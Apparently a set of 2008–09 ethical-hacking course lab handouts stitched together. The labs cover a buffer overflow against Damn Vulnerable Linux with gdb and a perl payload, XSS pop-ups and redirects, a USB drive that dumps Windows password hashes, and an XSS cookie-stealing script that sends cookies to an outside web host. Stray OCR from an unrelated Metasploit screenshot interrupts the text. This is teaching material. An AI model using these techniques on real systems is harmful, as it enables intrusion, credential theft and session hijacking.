29. In the VMmanager window, click the Finish tab.  Click OK.  In the VM Manager box, click OK.
30. Launch VMware Player and start your virtual machine.  If necessary, press F2 during bootup and set the BIOS to boot from the CD-ROM.

31. At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

Testing the exploitme001 Application

32. On the desktop, click the ATerminal button.  In the Bash window, type this command, and then press the Enter key (note that dvl ends in a lowercase L, not the numeral 1):

cd /opt/wwwroot/htdocs/exploitmes

This command changes the working directory to the one we need.  There are a lot of lessons in DVL, but we are only doing one of them.
33. In the Bash window, type this command, and then press the Enter key:

ls

The files in the directory are listed, including the one we will use, 01_exploitme01, as shown below on this page.
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The source code for this application is not here, but I have printed it to the right so you can understand it more easily.  All it does is copy the user-supplied argument into a buffer with the dreaded strcpy function.  It does not validate the user input at all.

Observing Normal Operation of the 01_exploitme01 Application

35. In the Bash window, type this command, and then press the Enter key:

./01_exploitme01 hello
The application returns to the bt exploitme001 # prompt with no error—it works fine.
Crashing the 01_exploitme01 Application – No Data

36. In the Bash window, type this command, and then press the Enter key:

./01_exploitme01 
The application returns a "Segmentation fault" message, because when it has no input, strcpy crashes.  

Crashing the 01_exploitme01 Application – Too Much Data

37. In the Bash window, type this command, and then press the Enter key (don't press the Enter key until the end, just hold down the Shift key and the A key until there are at least three lines full of A's.):

./01_exploitme01 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 The application returns a "Segmentation fault" message, as shown below on this page, because there are more than 256 characters in the input and it overruns the buffer.  
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Using Gnu Debugger to Analyze the Fault – No Data

38. In the Bash window, type this command, and then press the Enter key:

gdb 01_exploitme01
This launches the Gnu Debugger, which will show us exactly what is happening to cause the crash.

39. In the Bash window, you now see a gdb > prompt, indicating that you are inside the Gnu Debugger environment.  Type this command, and then press the Enter key:

run 
This launches the explopitme001 application with no input, which crashes and shows the message "Program received signal SIGSEGV, Segmentation Fault".

40. In the Bash window, at the gdb > prompt, type this command, and then press the Enter key:

main
This restarts the explopitme001 application with no input, but before it gets far enough to crash, it stops at "Breakpoint 1 at 0x804838d".

41. This command shows a lot of information about the program, as shown below on this page.
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42. First, look at the top section of the output.  It shows the contents of the Registers – eax, ebx, ecx, edx, esi, edi, esp, ebp, eip, and others.  These registers are used by the processor to store data temporarily.  For our purposes, the most important register is eip – the Extended Instruction Pointer.  This is the address of the current instruction being processed.  If we can control the value in eip, we can trick the program into executing our code, and own the box.

43. The next two sections show the contents of the [stack] and [data] sections of memory at the time of the crash.  This is binary data not easily interpreted, so skip it for now.

44. The bottom section shows the [code] that was executing when the program stopped.  The specific machine language instruction that was being executed was:

and  $0xfffffff0, %esp

This is not very interesting, because the program did not crash yet.  The debugger just stopped here to we can see how things were when the program started.

45. In the Bash window, you now see a gdb > prompt, indicating that you are inside the Gnu Debugger environment.  Type this command, and then press the Enter key:

run 
This makes the application run further, so it crashes and shows the message "Program received signal SIGSEGV, Segmentation Fault".

46. Now the display shows the status of the computer when the fault occurred, as shown below on this page.
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47. As before, the top section shows the contents of the Registers – eax, ebx, ecx, edx, esi, edi, esp, ebp, eip, and others.

48. The next two sections show the contents of the [stack] and [data] sections of memory at the time of the crash.  This is binary data not easily interpreted, so skip it for now.

49. The bottom section shows the [code] that was executing when the program stopped.  The specific machine language instruction that was being executed was:

movzbl  (%edx), %eax

This command moves data from the memory location specified by the EDX register into the EAX register.  But as you can see in the top [regs] section, edx contains 00000000.  Memory location zero is not available for user programs—in fact, it's a virtual memory location.  That's why the program crashed—it tried to access an illegal memory location—location 0.

Using Gnu Debugger to Analyze the Fault – Too Much Data

50. In the Bash window, at the gdb > prompt, type the run command followed by at least three lines full of capital As.  The As will wrap around, and erase the run command on the screen, but don't let that bother you—the command is being properly understood by the system, even though it is not properly displayed on the screen.  After you have at least three lines full of A's, as shown below on this page, press the Enter key.

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
51. The results show this message "Program received signal SIGSEGV, Segmentation Fault.", as shown below on this page.
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First, look at the top section showing the Registers.  Notice that the eip is now 41414141, and the ebp has the same value.  

53. Look at the bottom of the output: it shows this message "Cannot access memory at address 0x41414141".  41 is the hexadecimal code for a capital A (see table to the right on this page), and as you can see in the [stack] section, there are a lot of A's in there.  The long input, all A's, ran over the 256-byte buffer, and overwrote the memory locations in the stack that had been used to store the contents of the registers.  So, when the function returned, it copied the data from the stack back onto the registers, changing the eip to 41414141—which is an illegal value.  The program crashed because the buffer overrun made it lose its place, and it was no longer able to find the correct instruction to process next.

Using Inline Perl to Find the Location of the eip on the Stack

54. So we know how to crash the program.  But what we want to do is to control its crash so it executes the code we inject.  To do that we need to find out just how many As to put in.  We could keep on typing long strings of As, but there's an easier way—insert perl commands into the argument, inside back-tic characters like this `.  The ` key is on the upper left of your keyboard, under the ~.

55. In the Bash window, at the gdb > prompt, type this command and then press the Enter key.

run `perl -e 'print "A"x264 . "BBBB" . "CCCC"'`

56. This runs the program with a really long input string, containing 264 "A" characters, and then "BBBB", and then "CCCC".  The results are shown below – the program has a "Segmentation Fault", and the message at the bottom shows the message "Cannot access memory at 0x43434343".
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Capturing a Screen Image
57. Look in the [regs] section, and verify that the eip is 43434343 (characters "CCCC").  

58. Make sure the message "Cannot access memory at address 0x43434343" is visible at the bottom of the screen.

59. Press Ctrl+Alt to release the mouse from the virtual machine.

60. Press the PrintScrn key in the upper-right portion of the keyboard.  

61. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

62. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 11a. 

63. Now we know how to overwrite the eip.  All we need to do is to insert 264+4 characters before it in the input data, and the next 4 characters will be copied to the eip when the function returns.

Turning in Your Project
64. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 11 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
Ch_11c: Smashing the Stack for Fun and Profit by Aleph One 

http://insecure.org/stf/smashstack.html

Ch_11f: Video Tutorial for DVL Buffer Overflow Exploit

http://www.damnvulnerablelinux.org/images/stories/dvl/videos/First_Lesson_With_DVL/First_Lesson_With_DVL.html

Gray Hat Hacking : The Ethical Hacker's Handbook, by Shon Harris, Allen Harper, Chris Eagle, and Jonathan Ness, ISBN-10: 0072257091

Last Modified: 3-22-09
What You Need for This Project
· A Damn Vulnerable Linux 1.0 or 1.1 ISO file (Put it in the MoreVMs:\Install folder in S214) .  You cannot use the latest version, DVL 1.4.

· Any virtual machine

· An Ubuntu machine (real or virtual) to run the Nikto scanner on

Booting a Virtual Machine from the DVL ISO

1. Click Start, "All Programs", VMmanager, VMmanager.
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In the VMmanager window, click the Modify button.

3. Navigate to any of your virtual machines, such as the Hacme one.

4. In the VMmanager window, click the Drives tab.  In the CD-ROM section, select "use ISO image".  In the Open box, navigate to the MoreVMs drive.  Double-click the Install folder.  Double-click the damnvulnerablelinux_1.0.isofile.

5. On the Adapters tab, disable the USB and sound adapters, as shown to the right on this page.

6. In the VMmanager window, click the Finish tab.  Click OK.  In the VM Manager box, click OK.
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Launch VMware Player and start your virtual machine.  If necessary, press F2 during bootup and set the BIOS to boot from the CD-ROM.

8. At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

Starting the DVL Apache Web Server

9. Right click the DVL desktop.  From the context menu, click  DVL, "Web & Database", Apache, start, as shown to the right on this page.

Finding the DVL Apache Web Server's IP Address

10. On the DVL desktop, click the "ATerminal" icon.  In the Terminal window, type this command, and then press the Enter key:
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ifconfig
11. Find the IP address and write it on the box to the right on this page.

Starting the Ubuntu Machine

12. Launch an Ubuntu virtual machine.  Log in as usual.  If it's a machine I provided, the logon name and password are on a folder name in the same directory as the virtual machine files.

13. From the Ubuntu desktop, click Applications, Accessories, Terminal.  

14. In the Terminal window, type this command and then press the Enter key:

ping 192.168.2.40 –c 2

Replace 192.168.2.40 with you’re the Web Server IP address you wrote in the box on the previous page.
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You should see replies, as shown to the right on this page.  If you do not, you need to troubleshoot the Internet connections of the virtual machines before you can proceed further.

Viewing the Web Site from the Ubuntu Machine
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From the Ubuntu desktop, click Applications, Internet, "Firefox Web Browser".  In the Address bar, type the Web Server IP you wrote in a box on the previous page.  Press the Enter key.

17. You see an Index of / page, as shown below on this page.  This shows that the Web server is running, although it's not configured to be pretty (or secure).  You are seeing a directory of all the files in the Web server's /opt/wwwroot/htdocs directory. 
Installing nikto on the Ubuntu Machine
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Nikto is not in the Ubuntu 8.04 repositories when I am writing this (10-17-08), so you have to download it directly.  In the Ubuntu machine, open Firefox and go to cirt.net/nikto2
19. In the CIRT.net page, click the .gz link, as shown to the right on this page.  Save the nikto-current.tar.gz file on your desktop.

20. On your desktop, right-click the nikto-current.tar.gz file and click "Open with "Archive Manager"".  

21. In the nikto-current.tar.gz window, click the Extract button.  In the Extract box, click the Extract button.  A nikto folder appears on your desktop.

Scanning the DVL Web Server with nikto from the Ubuntu Machine

22. On the Ubuntu machine, in the Terminal window, type this command and then press the Enter key:

cd Desktop/nikto

23. On the Ubuntu machine, in the Terminal window, type this command and then press the Enter key:

./nikto.pl -h 192.168.2.40 

Replace 192.168.2.40 with you’re the Web Server IP address you wrote in the box on the previous page.
24. The scan should run, finding several vulnerabilities, as shown below on this page.  It takes several minutes to run.  Wait until the scan finishes and you see a $ prompt. 
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Capturing a Screen Image
25. Make sure the Nikto scan is visible.

26. Press Ctrl+Alt to release the mouse from the virtual machine.

27. Press the PrintScrn key in the upper-right portion of the keyboard.  

28. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

29. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 12a. 

Viewing the info.php File from the Ubuntu Machine
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This is a vulnerability I found with an earlier version of nikto, but it no longer seems to be detected by the newer versions.  On the Ubuntu machine, in the Firefox window, click the info.php link.  A long page appears, showing the complete configuration settings for the PHP service, as shown to the right on this page.  This is an extreme example of an overly informative page—there is no reason to publish all that information to everyone on the Web!

Cross-Site Scripting (XSS) on the DVL Web Server
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On the Ubuntu machine, in the Firefox window, in the Address bar, type the Web Server IP you wrote in a box on a previous page.  Press the Enter key.

32. A list of files and folders appears, as before.  Click the lesson004 link.

33. A list of files appears, as before.  Click the index.php link.

34. A Comment form appears, as shown to the right on this page.  To see it work, enter a Name of Student, and a couple lines of comments, including a <b> tag.  Click the "Add Comment" button.
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The result shows that the <b> tag did make text bold.  This is a warning sign—it is possible to pass HTML tags to the server.  

Using Cross-Site Scripting (XSS) to Make a Pop-Up Box
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Formatting tags are harmless.  Let's try making a pop-up appear on the viewer's screen.  

37. In the Firefox window, click the Back button (the leftward-pointing green arrow).  
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Enter the name and comment shown to the right on this page—this is a simple Javscript pop-up.

39. Click the "Add Comment" button.
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A box pops up with the message "XSS vulnerability!" as shown to the right on this page.

]Capturing a Screen Image
41. Make sure the "XSS vulnerability!" box is visible.

42. Press Ctrl+Alt to release the mouse from the virtual machine.

43. Press the PrintScrn key in the upper-right portion of the keyboard.  

44. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

45. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 12b. 

Using Cross-Site Scripting (XSS) to Redirect the Web Page
46.  Let's try the Obama hack—the one that sent viewers of Barak Obama's Web page to Hillary Clinton's page instead a few weeks ago. 
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Click the OK button to close the "XSS vulnerability!" box. In the Firefox window, click the Back button (the leftward-pointing green arrow).  

48. Enter the name and comment shown to the right on this page—this is a simple Javscript command to redirect the Web page to my page.

49. Click the "Add Comment" button.  Instead of showing your comment, my Web page opens.

Turning in Your Project
50. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 12 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.


Last Modified: 10-17-08
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What You Need for This Project
· Any Windows XP (not Vista) computer you have Administrator privileges on.  The instructions below assume you are using Windows XP in S214.

· A U3 USB flash drive without any data you need on it.  I put some in the white box in the equipment closet in S214—the lab monitor can loan you one in return for an ID card.  

· Warning! This project will erase all the data on your USB flash drive, and you might have some difficulty restoring normal U3 functionality, in the worst case.  If you don't want to risk your own flash drive, use the ones in S214.

Using the U3 Launchpad Installer to Clean the Drive

1. Start the Windows XP machine and log in as gamer with the password gamer
2. Plug in the U3 USB flash drive.
3. Open a Web browser and go to http://www.sandisk.com/Retail/Default.aspx?CatID=1411
4. Click the "Download Installer (.exe)" link.  Save the installer on your desktop.

5. Double-click the LPInstaller file on your desktop. In the "Open File – Security Warning" box, click Run.  
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In the "Welcome to th e U2 Launchpad Installer" box, click Next.

7. In the "License Agreement" box, click Accept and click Next.

8. In the "Backup Options" screen, click "No, do not backup…", as shown to the right on this page.  Click Next.

9. In the "U3 Launchpad installer" box, click OK.

10. In the "Confirm Installation Options" box, click Next.

11. In the "Launchpad Installation Completed" box, click Finish.

Observing the Normal U3 Software Launch
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Plug in the U3 Flash Drive.

13. If you see a "Welcome to U3" box, as shown to the right on this page, click Yes, and in the "Welcome to U3 Software" box, click Close. 
14. If a "Welcome to U3" box appears, click Yes to enable the autorun, so you can install software on the U3 device.
15. Look in the lower right corner of your desktop.  You should see a square yellow U3 icon, as shown below on this page. 
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16. Click the U3 icon and click Eject.  When you see the "Safe to remove U3 device" message, unplug the flash memory stick.

Downloading the PocketKnife and Universal Customizer

17. Start the Windows XP machine and log in as gamer with the password gamer
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Disable your virus scanner.  The PocketKnife file DOES contain dangerous malware, of course.  That's the whole point of the project—we are converting this innocent flash drive into a dangerous hacking tool. In S214, it's sufficient to right-click the McAfee shield icon in the lower right corner and click "Disable On-Access Scan", so the shield displays a red circle-and-slash over it, as shown to the right on this page. 
19. Open a Web browser and go to samsclass.info
20. Click the CNIT 124 link.  On the CNIT 124 page, click the Projects link.  Scroll down to Project 14, as shown below on this page.  
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21. Click the "Download PocketKnife_v0870" link.  Save the file on your desktop.

22. Click the "Download Universal Customizer" link.  Save the file on your desktop.

23. On your desktop, right click the PocketKnife_v0870.zip file and click "Extract All".  

24. In the "Select a Destination and Extract Files" box, accept the default location and click Extract.  

25. Repeat the process to extract Universal_Customizer.zip.

Copying the Flash Partition Files to the USB Flash Memory 

26. On your desktop, double click the PocketKnife_v0870 folder to open it.  Double-click the Leapos_Payload_v0870 folder.  Double-click the Leapos_Payload_v0870 folder.  Double-click the Leapos_Payload_U3 folder.  Double-click the "Flash Partition" folder.  
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You should see three folders and two files, as shown below on this page.  Highlight all five objects, right click one of them, and click Copy.
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28. Click Start, "My Computer".  Find the "Removable Disk" volume, as shown to the right on this page, right-click it, and click Paste.  
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Selecting Payload Options 

29. In the "My Computer" window, double click "Removable Disk".  Double-click Menu.bat.

30. The Main Menu opens, as shown to the right on this page.

31. From the Main Menu, type 1 to "Manage Settings or Modules" and then press Enter.

32. In the next page, type 1 and press Enter, to "Enable or Disable Modules".
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The next screen lists all the modules included in the package.

34. Type a and press Enter to enable Dumping the Windows SAM using PWDUMP, as shown to the right on this page.

35. Type Q and press Enter, to quit.

Using the U3 Customizer to Install the PocketKnife Launcher
36. On your desktop, double-click the PocketKnife_v0870 folder to open it.  Double-click the Leapos_Payload_v0870 folder to open it.  Double-click the Leapos_Payload_U3 folder to open it.  Right click the U3.ISO file and click Rename.  Change the filename to U3CUSTOM.ISO.  

37. Right click the U3CUSTOM.ISO file and click Copy.

38. On your desktop, open the "Universal_Customizer" folder to open it.  Double-click the BIN folder to open it.  Right-click an empty portion of the folder and click Paste.  In the "Confirm File Replace" box , click Yes. 

39. Return to the "Universal_Customizer" folder.  Double-click the Universal_Customizer.exe icon .   In the "Open File – Security Warning" box, click Run.  

40. Plug in the U3 Flash Drive.  [image: image148.jpg]User Detas

Display Name Your Name
User name )
Passiord

Authorization user name

Domain 192,165, 1.65:5060




41. The U3 Customizer opens, as shown to the right on this page.  Click Accept and click Next.

42. In step 2, click Next.

43. In step 3, enter a password of password in both boxes and click Next.

44. Wait while the progress bar moves in step 4.  When the process is complete, click Next.

45. At step 5, the process is done!  Click Done.  

46. Unplug the U3 Flash Drive.

Stealing Password Hashes 

47. [image: image149.jpg]Ready
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Plug the drive back into your machine, or into any other Windows XP machine that is logged in with Administrative credentials.  

48. If you see an error message, as shown to the right on this page, click Continue.  That's a bug in the PocketKnife software that happens on some systems, and the developers haven't solved it yet. 

49. After about 15 seconds, an Explorer window will pop up, showing the contents of the LOGS directory.  There will be a folder with your machine's name on it, which should be something like S214-10.  Double-click that folder to open it.
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Inside that folder is a text file with a long name, starting with your machine name.  Double-click that file to open it in Notepad, as shown to the right on this page.
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Capturing a Screen Image
51. Make sure the "Dump Machinename PWDUMP" box is visible, showing at least one password hash, as shown above on this page.

52. Press the PrintScrn key in the upper-right portion of the keyboard.  

53. Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

54. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 14. 

Turning in Your Project
55. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 14 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://dotnetwizard.net/soft-apps/hack-u3-usb-smart-drive-to-become-ultimate-hack-tool/

http://www.phdcc.com/shellrun/autorun.htm

http://forums.gonzor228.com/index.php?topic=85.0
http://hak5.org/forums/index.php?showtopic=6746&mode=threaded&pid=71631
http://www.sandisk.com/Retail/Default.aspx?CatID=1411
PowerISO is the software that can image the U3 launchpad, as explained here:

http://www.u3community.com/viewtopic.php?p=4053&sid=d7502c2754eba11b19b17736c5425855

Last Modified: 9-30-08
What You Need for This Project
· A Damn Vulnerable Linux 1.0 or 1.1 ISO file (Put it in the MoreVMs:\Install folder in S214) .  You cannot use the latest version, DVL 1.4.

· Any virtual machine

· Another machine to use as the VMware host.  The instructions below assume you are using a Vista host.

Booting a Virtual Machine from the DVL ISO

1. Click Start, "All Programs", VMmanager, VMmanager.

2. In the VMmanager window, click "Modify an existing virtual machine".
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Navigate to any of your virtual machines, such as the Hacme one.

4. In the VMmanager window, click the Drives tab.  In the CD-ROM section, select "use ISO image".  In the Open box, navigate to the MoreVMs drive.  Double-click the Install folder.  Double-click the damnvulnerablelinux_1.0.iso file.

5. On the Adapters tab, disable the USB and sound adapters, as shown to the right on this page.

6. In the VMmanager window, click the Finish tab.  Click OK.  In the VM Manager box, click OK.
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Launch VMware Player and start your virtual machine.  If necessary, press F2 during bootup and set the BIOS to boot from the CD-ROM.

8. At the boot: prompt, press the Enter key.  Several pages of text scroll by as Linux boots.

Starting the DVL Apache Web Server

9. Right click the DVL desktop.  From the context menu, click  DVL, "Web & Database", Apache, start, as shown to the right on this page.

Finding the DVL Apache Web Server's IP Address

10. On the DVL desktop, click the "ATerminal" icon.  In the Terminal window, type this command, and then press the Enter key:
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ifconfig
11. Find the IP address and write it on the box to the right on this page.

Viewing the DVL-Hosted Web Site from the Host Machine

12. On the Vista host machine, open a Web browser.  In the Address bar, type the Web Server IP you wrote in a box on the previous page.  Press the Enter key.

13. You see an Index of / page.  Click the lesson004 link.

14. A list of files appears.  Click the index.php link.

15. A Comment form appears, tiled "Lesson 4: XSS (Cross Site Scripting) Attack".   

Setting a Cookie
16. If this were a real Web 2.0 site, such as an online forum, the user would have logged in and a cookie would have been set with their credentials in it.  To simulate that, we'll set a cookie.

17. Type in the Name and Script shown below, and then click the "Add Comment" button.
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You should see the popup box shown to the right on this page, showing the cookie value.  

Capturing a Screen Image
19. Make sure the Alert box is visible, showing this line: "Login=SecretCode".

20. Press Ctrl+Alt to release the mouse from the virtual machine.

21. Press the PrintScrn key in the upper-right portion of the keyboard.  

22. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

23. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15a. 

Getting a T35 Website
24. On the Vista host machine, open a browser and go to t35.com
25. Click "Sign up".
26. An agreement appears.  On the lower left of the page, click Accept.

27. In the STEP 2 of 4 page, fill in the form.  You need to give it an email address you can receive mail at.  Then click "Proceed to the Next Page".

28. In the STEP 3 of 4 page, on the lower right, click the blue "No Thanks" link.

29. Read the email at the account you specified.  You should have a message with the subject "T35 Free Hosting - Validation eMail".  It may be in your Spam folder.  Click the activation link in that message.

30. At t35.com, sign in with your name and password.
Writing a Cookie-Stealing PHP Script
31. The script we will use does these things:

· When a user sends an HTTP GET request to this script, it will collect the cookie from their machine

· It will also harvest two other values: the IP address and the referring URL

· It will save this information in a file named cookies.html on the T35 server

· It will then return to the original DVL page, so that the user has no idea that anything unusual has happened

32. Open Notepad and type in the script shown below on this page.  Change the IP address in the third-from-last line to be the IP address of your DVL virtual machine.
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33. Save the file as stealcookie.php and be careful to select a File Type of "All Files" to prevent Notepad from attaching a .txt extension.
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Uploading the Script to the T35 Web Server
34. On the Vista host machine, in your T35 Hosting page, click the Java Upload button, as shown to the right on this page.

35. A Java applet loads.  In the Files section, click the Browse button.  Navigate to your stealcookie.php file and double-click it.  Then click the green check mark icon.

36. Type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 

Replace yourlogin with your own T35 account login name.  
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You should see an "Index of /" page, showing the filename stealcookie.php, as shown to the right on this page.
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Capturing a Screen Image
38. Make sure the "Index of /" page is visible, showing your own T35 account name in the URL, NOT my demonstration account of samccsf.  

39. Press the PrintScrn key in the upper-right portion of the keyboard.  

40. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

41. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15b. 

Testing the Cookie Stealing Script
42. On the Vista host machine, open another Web browser window.  Type this address into the Address field in your browser, as shown below on this page, and then press the Enter key:

yourlogin.t35.com/stealcookie.php?c=test123
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Replace yourlogin with your own T35 account login name.  This sends a cookie value of test123 to the script.
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43. If the PHP script is working correctly, your browser will forward to the DVL Lesson 4, as shown to the right on this page.

44. If you made any errors typing in the script, you will see an error message telling you which line has a problem.  Fix those problems and don't proceed to the next section until the PHP script is working.

Viewing the Captured Test Data
45. On the Vista host machine, type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 
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Replace yourlogin with your own T35 account login name.  
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You should see an "Index of /" page, showing two files" stealcookie.php and cookies.html.

47. Click cookies.html.  You should see the captured data, showing Cookie: test123, as shown to the right on this page.

Capturing a Screen Image
48. Make sure the captured data is visible, showing "Cookie: test123".

49. Press the PrintScrn key in the upper-right portion of the keyboard.  

50. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  

51. In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15c. 

Using XSS to Set a Trap on the DVL Message Board
52. On the Vista host machine, open a Web browser.  In the Address bar, type the Web Server IP you wrote in a box on the previous page.  Press the Enter key.

53. You see an Index of / page.  Click the lesson004 link.

54. A list of files appears.  Click the index.php link.

55. A Comment form appears, tiled "Lesson 4: XSS (Cross Site Scripting) Attack".   
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Type in the Name and Script shown below, and then click the "Add Comment" button.  The line starting document.location is too long to fit on a single line, but don't break it with the Enter key—just let it wrap naturally.  Replace yourid with your own T35 account name.
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57. Click the "Add Comment" button.  Nothing obvious should happen—it just returns to the comment screen.  But it has stolen your cookie!

Viewing the Stolen Cookie
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On the Vista host machine, type this address into the Address field in your browser and then press the Enter key:

yourlogin.t35.com 

[image: image169.jpg]|
Ll
X

Xc) Shell - Int Pgsql (autopwn)

LOG: next transaction ID: 565; next OID: 10794
L0G: next MultiXactId: 1; next MultiXactOffset: 0
snapsh| [l 0G: database system is ready
PndlloG: transaction ID wrap Limit is 2147484146, limited by database "postgres"
ERROR: database "nmapDataBase" does not exist
L0G: transaction ID wrap limit is 2147484146, limited by database “postgres"
ERROR: table "hosts" does not exist
INOTICE: CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "host
s.id"
NOTICE: CREATE TABLE / PREHi5 SRel-Kontole BT

et
NOTICE: CREATE TABLE / U|[ERROR: table "services" does not exist

osts" NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial colum "s

ERROR: table "services {[ervices.id"
NOTICE: CREATE TABLE wil|[NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "

e rvices idn services”
NOTICE: CREATE TABLE / p||ERROR: table "vulns" does not exist
services” INOTICE: CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vuln

ERROR: table "vulns" doe|[s-1d"
INOTICE: CREATE TABLE wil|[NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vul

s.id" s
INOTICE: CREATE TABLE / P{|[ERROR: table "refs" does not exist

s NOTICE: CREATE TABLE will create implicit sequence "refs.id_seq" for serial column "refs
ERROR: table “refs" does|[id"

NOTICE: CREATE TABLE wil|[NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index “refs_pkey" for table "refs
id"
NOTICE: CREATE TABLE / PI|ERROR: table “vulns_refs" does not exist
* [*] Database creation complete (check for errors)
ERROR: table "vulns_refs|[nsf > db_nmap -PO 192.168.1.166

il

Starting Nmap 4.20 ( http://insecure.org ) at 2008-05-08 13:31 GMI
Interesting ports on 192.168.1.166

Not shown: 1693 closed ports

PORT  STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

l445/tcp open microsoft-ds

1025/tcp open NFS-or-IIS

Nmap finished: 1 IP address (1 host up) scanned in 1.334 seconds
mst > I

Shell - Konsole




Replace yourlogin with your own T35 account login name.  

59. In the "Index of /" page, click cookies.html.

60. You should see the captured data, showing Cookie: Login=SecretCode, as shown to the right on this page.

Capturing a Screen Image
61. Make sure the stolen cookie is visible, showing this line: "Login=SecretCode".

62. Press the PrintScrn key in the upper-right portion of the keyboard.  

63. On the host Windows system, Click Start, Programs, Accessories, Paint.  In the untitled - Paint window, select Edit, Paste from the menu bar.  
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In the untitled - Paint window, click File, Save.  Select a Save as type of JPEG.  Save the document with the filename Your Name Proj 15d. 

Turning in Your Project
65. Email the JPEG images to me as attachments to one e-mail message.  Send it to: cnit.124@gmail.com with a subject line of Proj 15 From Your Name, replacing Your Name with your own first and last name.  Send a Cc to yourself.

Sources
http://xssworm.blogvis.com/42/xssworm/website-hacking-with-xss-full-disclosure/
http://www.elated.com/articles/javascript-and-cookies/


Last Modified: 10-5-08
What You Need for This Project
· Three Windows machines on a LAN.  They can be real or virtual machines.  Select one machine to the PBX Server.  The other machines will be VoIP Clients.  The instructions below assume you are using three Vista computers in S214, with several students working together.

· A headset with a microphone would be nice, but not strictly necessary (I have some you can borrow)

Downloading the PBX Server (Do this on your PBX Server computer)

1. Open a Web browser and go to 3cx.com
2. [image: image171.jpg]cat exploitme00l.c
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At the top, click DOWNLOAD.  At the bottom of the next page, find the line that says "To download the FREE edition please click here".  Click on "here".

3. On the next page, fill out the form and click the "Submit & download" button.

4. On the next page, in the "Step 1: Download the Server" section, click the link, as shown to the right on this page.  Save the 3CXPhoneSystem6.msi file on your desktop.

5. Don't bother with "Step 2: Download the 3CX VOIP client".  That client won’t work on Vista, as far as I can tell.  We'll use a different client.

Installing the PBX Server (Do this on your PBX Server computer)

6. The installer doesn't handle Vista's User Account Control properly, so you must launch it from an Administrator Command Prompt with these steps: 

7. Click Start.  Type in CMD and press Shift+Ctrl+Enter.  In the "User Account Control" box, press Alt+C or click Continue.

8. In the Administrator Command Prompt window, type this command, and then press Enter:

cd \users\yourloginname\desktop
Replace yourloginname with the name you logged in with (usually Student in S214).

9. In the Administrator Command Prompt window, type this command, and then press Enter:

3CXPhoneSystem6.msi
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Click through the installer, accepting the default options for the first several pages.  At the SIP Setting page, accept the default of sip.mydomain.com as shown to the right on this page.

11. When it asks for an administrator password, use password.
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In the "Voice Mail Settings" page, use an "SMTP Server" of smtp.gmail.com and put your Gmail address in the "E-mail address" field, as shown to the right on this page.

13. On the next page, click the Install button.  When the installation is complete, click the Finish button.
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Logging in to the PBX Server

14. A Web browser opens, showing the 3CX login page, as shown to the right on this page.  Enter a User Name of admin and a password of password and then click the Login button.
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Creating Extensions on the PBX Server

15. On the PBX Server computer, in the 3CX page, on the left side, under Extensions, click Add.

16. In the Add Extension page, enter an Extension number of 100.  Put in your name and any email address.  .  In the Authentication section, use an ID of 100 and leave the password field empty.   Click Next.
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You should see the "Extension Created" message, as shown to the right on this page.  Write the "Proxy server IP or FQDN" value in the box below on this page.  Then click Finish.
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18. The Manage Extensions page appears, showing the extensions you have.  Click the "Add Extension" button and create another extension so you can have two clients in your local telephone net, as shown to the right on this page.  Add enough extensions for all the clients you plan to use. 
Installing the X-Lite VoIP Client (do this on all the client computers in your team)
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Open a Web browser and go to counterpath.com
20. In the X-Lite section, as shown to the right on this page, click Download.

